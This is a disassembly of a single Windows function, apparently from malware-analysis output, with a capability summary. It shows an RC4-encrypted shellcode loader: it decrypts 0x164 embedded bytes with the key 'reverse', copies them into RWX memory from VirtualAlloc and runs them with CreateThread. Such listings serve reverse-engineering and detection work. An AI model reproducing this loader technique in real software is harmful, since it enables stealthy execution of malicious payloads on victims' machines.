Function at 0x401070
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Encrypt data using rc4 ksa
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x37c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x378], eax
push ebx
push esi
push edi
mov ecx, 0x59
mov dword [esp + 0x10], 0x65766572
mov esi, 0x403158
mov dword [esp + 0x14], 0x657372
lea edi, [esp + 0x118]
rep movsd dword es:[edi], dword [esi]
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4010b7
push 0x100
xor edi, edi
lea eax, [esp + 0x284]
push edi
push eax
sub esi, ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
nop word [eax + eax]
mov eax, ecx
mov byte [esp + ecx + 0x18], cl
xor edx, edx
div esi
mov al, byte [esp + edx + 0x10]
mov byte [esp + ecx + 0x280], al
inc ecx
cmp ecx, 0x100
jl 0x4010e0
xor esi, esi
mov dl, byte [esp + esi + 0x18]
movzx eax, byte [esp + esi + 0x280]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x401123
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jl 0x401100
xor esi, esi
nop word [eax + eax]
mov al, byte [esp + esi + 0x18]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [esi + 0x4053b8], al
movzx eax, al
push eax
push 0x401050
call fcn.00401300
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
mov ecx, eax
call fcn.00401510
inc esi
cmp esi, 0x100
jl 0x401140
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x401730
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov bl, byte [esp + 0x19]
xor esi, esi
movzx edi, bl
nop dword [eax + eax]
movzx eax, byte [esp + edi + 0x18]
mov cl, bl
mov byte [esp + 0x19], al
mov byte [esp + edi + 0x18], cl
mov bl, byte [esp + 0x19]
movzx eax, cl
movzx edi, bl
add eax, edi
movzx eax, al
movzx eax, byte [esp + eax + 0x18]
xor byte [esp + esi + 0x118], al
movzx eax, byte [esp + esi + 0x118]
push eax
push str.x_02x
call fcn.00401010
inc esi
add esp, 8
cmp esi, 0x164
jb 0x4011a0
push 0x40
push 0x3000
push 0x164
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push 0
push eax
mov edi, eax
lea esi, [esp + 0x128]
push 0
mov ecx, 0x59
rep movsd dword es:[edi], dword [esi]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0x384]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040175f
mov esp, ebp
pop ebp
ret